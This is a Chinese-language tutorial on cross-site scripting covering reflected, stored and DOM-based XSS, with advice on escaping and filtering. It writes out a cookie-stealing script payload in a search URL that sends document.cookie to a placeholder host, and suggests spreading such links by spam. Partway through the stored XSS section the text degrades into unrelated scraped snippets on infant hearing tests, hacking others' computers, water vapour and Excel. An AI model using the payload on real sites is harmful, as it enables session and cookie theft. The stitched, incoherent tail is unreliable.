XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:
1. Reflected XSS(基于反射的XSS攻击)
2. Stored XSS(基于存储的XSS攻击)
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 做个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容,填入“”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而可以构造获取用户cookies的地址,通过 *** 群或者垃圾邮件,来让其他人点击这个地址:
1 | http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookiescript> |
S:这个地址当然是没效的,只是举例子而已。
结论:
如果只是1、2、3步做成功,那也只是自己折腾自己而已,如果第4步能做成功,才是个像样的XSS攻击。
开发安全措施:
1. 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
2. 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
例如:
标签:
1 |
转义
1 | #39;handsome boy')> |
属性:
如果一个input的value属性值是
1 | 琅琊榜" onclick="javascript:alert('handsome boy') |
就可能出现
1 | "text"value="琅琊榜"onclick="javascript:alert('handsome boy')"> |
点击input导致攻击脚本被执行,解决方式可以对script或者双引号进行过滤。
Stored XSS
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子:
从宝宝刚出生的时候起,就要做听力筛查,这也是为了保证宝宝胎儿听力健康,如果听力筛查没过关,应做进一步复查检测,那么,孩子听力筛查有哪些步骤呢?接下来友谊长存小编就来说说。 孩子听力筛查没过关怎么办...
本文目录一览: 1、推荐几个关于黑客的电影 要精彩的 2、小偷模拟器黑客电脑专业版有什么用 3、免费的黑客入门视频下载 4、黑客军团哪里可以看?????????? 推荐几个关于黑客的电...
水蒸气的密度0.8035千克/立方米 所以1吨水蒸汽的体积便是 1000/0.8035=1244.6立方米 当液体在有限的密闭空间中蒸发时,液体分子通过液面进入上面空间,成为蒸汽分。 水蒸气...
本文目录一览: 1、黑客是怎样通过网络入侵电脑的? 2、如何侵入他人电脑 3、如何黑进隔壁宿舍的电脑 黑客是怎样通过网络入侵电脑的? 黑客是入侵别人电脑的方法有9种。1、获取口令这又有三种方...
金婚银婚是多少年(金婚银婚钻石婚各是多少年) 金婚银婚多少钱年(金婚银婚钻石婚各多少钱年)国际性上有一个叫法是将夫妇结婚后每一年的完婚结婚纪念日依据完婚的期限起一个又称,坚信大伙儿有听过金婚、银婚、...
手机上微软公司版本号的Excel报表,沒有修补选择项作用,这儿以WPS office办公室软件为例子。1、开启WPS office。2、点一下Excel报表。3、挑选左下方的专用工具。4、滑至底端,文...